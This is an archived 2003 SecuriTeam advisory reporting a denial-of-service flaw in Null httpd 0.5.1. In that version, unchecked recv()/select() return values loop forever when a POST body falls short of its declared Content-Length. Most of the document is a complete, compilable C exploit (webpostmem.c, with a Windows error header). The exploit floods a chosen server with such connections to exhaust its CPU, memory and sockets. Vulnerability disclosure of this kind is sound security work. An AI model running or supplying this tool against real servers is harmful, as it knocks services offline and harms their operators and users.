[NEWS] Null httpd Remote Resources Consumption (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 10/01/03

  • Next message: SecuriTeam: "[UNIX] A-CART and A-CART Pro XSS Vulnerability"
    To: list@securiteam.com
    Date: 1 Oct 2003 13:05:45 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Null httpd Remote Resources Consumption (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    " <http://nullhttpd.sourceforge.net/httpd/> Null httpd is a very small,
    simple and multithreaded web server for Linux and Windows".

    The product has been found to contain a vulnerability that allows remote
    attackers to cause the product to consume system resources until it is no
    longer able to process additional requests.

    DETAILS

    Vulnerable systems:
     * NULL httpd version 0.5.1

    The bug found in the Null httpd server is usually caused by unchecked
    return values from recv() and select() functions that let the vulnerable
    server to enter in an infinite loop if it waits a specific amount of data
    and the client closes the connection before sending all the requested
    bytes.

    The effects are:
     * CPU at 100%: caused by the loop that calls recv() and/or select()
    infinitely
     * Memory consumption: if the server receives data from the client, the
    memory used will not be unallocated because the request (seen by the
    server) is still active
     * Other resources used: processes, other memory and moreover sockets

    As said before, the bug happens when the server waits data so the attacker
    must use the POST command with the Content-Length parameter. The following
    is a practical example:
    ------------------
    POST / HTTP/1.0
    Content-Length: 10

    123456789
    ------------------

    Therefore, if the client "says" that it will send (for example) 1
    megabyte, but then it will send 1 megabyte less 1 byte (and this is the
    memory that will be occupied in the server). After some connections, the
    server will finish all the available sockets and will be unreachable.

    Exploit:
    webpostmem.c
    /*

    by Luigi Auriemma

        Exploit:
        - CPU up to 100%
        - CLOSE_WAIT for each connection, until cannot be allocated more
    sockets
        - eat all the memory the attacker wants
        - on some machines (Win for example) it "could" be a fast DoS because
    the
          sockets will be finished quickly
        
        Example of what happen to the system with 10 connections of 512 Kb:
        "10 --> 5242880" == webs allocates 5948 Kb of memory

    This source is covered by GNU/GPL

    UNIX & WIN VERSION

    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/stat.h>

    #ifdef WIN
        #include <winsock.h>
        #include "winerr.h"

        #define close closesocket
    #else
        #include <unistd.h>
        #include <sys/socket.h>
        #include <arpa/inet.h>
        #include <netdb.h>
    #endif

    #define VER "0.1"
    #define BUFFSZ 1024 /* 1 kylobyte, do not change it!!! */
    #define PORT 80
    #define POSTSZ sizeof(BUG) + 11
    #define BUG "POST / HTTP/1.0\r\n" \
                    "Content-Length: %lu\r\n" \
                    "\r\n"

    u_long resolv(char *host);
    void std_err(void);

    int main(int argc, char *argv[]) {
        u_char *buff,
                *post;
        int sd,
                err,
                j;
        long div,
                connum;
        u_short port = PORT;
        u_long memkb,
                i,
                postlen,
                total;
        struct sockaddr_in peer;

        setbuf(stdout, NULL);

        fputs("\n"
            "General webserver POST/Content-Length resources eater "VER"\n"
            "by Luigi Auriemma\n"
            "e-mail: aluigi@altervista.org\n"
            "web: http://aluigi.altervista.org\n"
            "\n", stdout);

        if (argc < 4) {
            printf("\nUsage: %s <*kilobytes> <number_of_connections> <server>
    [port(80)]\n"
                "\n"
                "* amount of kilobytes that will be allocated by the server
    for each\n"
                " connection (choose 1 kilobyte to quickly test the sockets
    consuption\n"
                " and more to test the memory consumption)\n"
                "\n", argv[0]);
            exit(1);
        }

        div = atol(argv[1]); /* div = number of kilobytes */
        connum = atol(argv[2]);
        memkb = div << 10; /* 1 memkb = 1 kilobyte, memkb contains the total
    mem to eat */
        if(argc > 4) port = atoi(argv[4]);

    #ifdef WIN
        WSADATA wsadata;
        WSAStartup(MAKEWORD(1,0), &wsadata);
    #endif

        peer.sin_addr.s_addr = resolv(argv[3]);
        peer.sin_port = htons(port);
        peer.sin_family = AF_INET;

        buff = malloc(BUFFSZ);
        if(!buff) std_err();
        memset(buff, 'a', BUFFSZ);

        post = malloc(POSTSZ);
        if(!post) std_err();

        postlen = snprintf(
            post,
            POSTSZ,
            BUG,
            memkb + 1); /* +1 is needed */

        printf("\nStarting %ld connections to: %s:%hu\n\n",
            connum,
            inet_ntoa(peer.sin_addr),
            port);

        total = 0;
        for(i = 1; i <= connum; i++) {
            sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
            if(sd < 0) std_err();
            err = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
            if(err < 0) std_err();

            printf("%lu ", i);

            err = send(sd, post, postlen, 0);
            if(err <= 0) break;
            fputs("--> ", stdout);

                /* 1 div = 1024 bytes */
                /* 1024 div = 1 memkb */

            for(j = 0; j < div; j++) {
                err = send(sd, buff, BUFFSZ, 0);
                if(err <= 0) break;
            }

            total += memkb;
            printf("%lu\r", total);
            close(sd);
        }

        fputs("\n\nExploit terminated\n\n", stdout);

        return(0);
    }

    u_long resolv(char *host) {
        struct hostent *hp;
        u_long host_ip;

        host_ip = inet_addr(host);
        if(host_ip == INADDR_NONE) {
            hp = gethostbyname(host);
            if(!hp) {
                printf("\nError: Unable to resolv hostname (%s)\n", host);
                exit(1);
            } else host_ip = *(u_long *)(hp->h_addr);
        }

        return(host_ip);
    }

    #ifndef WIN
        void std_err(void) {
            perror("\nError");
            exit(1);
        }
    #endif

    winerr.h
    /*
       Header file used for manage errors in Windows
       It support socket and errno too
       (this header replace the previous sock_errX.h)
    */

    #include <string.h>
    #include <errno.h>

    void std_err(void) {
      char *error;

      switch(WSAGetLastError()) {
        case 10004: error = "Interrupted system call"; break;
        case 10009: error = "Bad file number"; break;
        case 10013: error = "Permission denied"; break;
        case 10014: error = "Bad address"; break;
        case 10022: error = "Invalid argument (not bind)"; break;
        case 10024: error = "Too many open files"; break;
        case 10035: error = "Operation would block"; break;
        case 10036: error = "Operation now in progress"; break;
        case 10037: error = "Operation already in progress"; break;
        case 10038: error = "Socket operation on non-socket"; break;
        case 10039: error = "Destination address required"; break;
        case 10040: error = "Message too long"; break;
        case 10041: error = "Protocol wrong type for socket"; break;
        case 10042: error = "Bad protocol option"; break;
        case 10043: error = "Protocol not supported"; break;
        case 10044: error = "Socket type not supported"; break;
        case 10045: error = "Operation not supported on socket"; break;
        case 10046: error = "Protocol family not supported"; break;
        case 10047: error = "Address family not supported by protocol family";
    break;
        case 10048: error = "Address already in use"; break;
        case 10049: error = "Can't assign requested address"; break;
        case 10050: error = "Network is down"; break;
        case 10051: error = "Network is unreachable"; break;
        case 10052: error = "Net dropped connection or reset"; break;
        case 10053: error = "Software caused connection abort"; break;
        case 10054: error = "Connection reset by peer"; break;
        case 10055: error = "No buffer space available"; break;
        case 10056: error = "Socket is already connected"; break;
        case 10057: error = "Socket is not connected"; break;
        case 10058: error = "Can't send after socket shutdown"; break;
        case 10059: error = "Too many references, can't splice"; break;
        case 10060: error = "Connection timed out"; break;
        case 10061: error = "Connection refused"; break;
        case 10062: error = "Too many levels of symbolic links"; break;
        case 10063: error = "File name too long"; break;
        case 10064: error = "Host is down"; break;
        case 10065: error = "No Route to Host"; break;
        case 10066: error = "Directory not empty"; break;
        case 10067: error = "Too many processes"; break;
        case 10068: error = "Too many users"; break;
        case 10069: error = "Disc Quota Exceeded"; break;
        case 10070: error = "Stale NFS file handle"; break;
        case 10091: error = "Network SubSystem is unavailable"; break;
        case 10092: error = "WINSOCK DLL Version out of range"; break;
        case 10093: error = "Successful WSASTARTUP not yet performed"; break;
        case 10071: error = "Too many levels of remote in path"; break;
        case 11001: error = "Host not found"; break;
        case 11002: error = "Non-Authoritative Host not found"; break;
        case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED,
    NOTIMP"; break;
        case 11004: error = "Valid name, no data record of requested type";
    break;
        default: error = strerror(errno); break;
      }
      fprintf(stderr, "\nError: %s\n", error);
      exit(1);
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:aluigi@altervista.org> Luigi
    Auriemma.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[UNIX] A-CART and A-CART Pro XSS Vulnerability"

    Relevant Pages

    • [NT] Memory Leak and DoS in NT4 RPC server
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... In addition to retrieving memory, it is possible to crash any NT4 ... RPC server by asking for extremely large amounts of memory, ...
      (Securiteam)
    • [NT] Multiple Vulnerabilities in HP Web JetAdmin (Read, Write, Execute, Path Disclosure, Password De
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... HP Web JetAdmin is an enterprise management system for large amounts of HP ... The web server is a modular service ... HP Web JetAdmin uses it's own encryption. ...
      (Securiteam)
    • [NEWS] Multiple Vulnerabilities in Oracle Database (Character Conversion, Extproc, Password Disclosu
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Multiple vulnerabilities were discovered in the (Oracle database server ... password is required to exploit this vulnerability. ...
      (Securiteam)
    • [NEWS] ColdFusion MX Oversize Error Message DoS
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... ColdFusion MX "is the solution for building and deploying powerful web ... shoots up and stays there until the server completes writing the error ... a long string of data as a GET or POST request to ...
      (Securiteam)
    • [NT] F-Secure Internet Gatekeeper Content Scanning Server DoS
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... " <http://www.f-secure.com/products/anti-virus/fsigk/> F-Secure Internet ... the Content Scanner Server. ... The vendor has been contacted and confirmed the existence of the problem ...
      (Securiteam)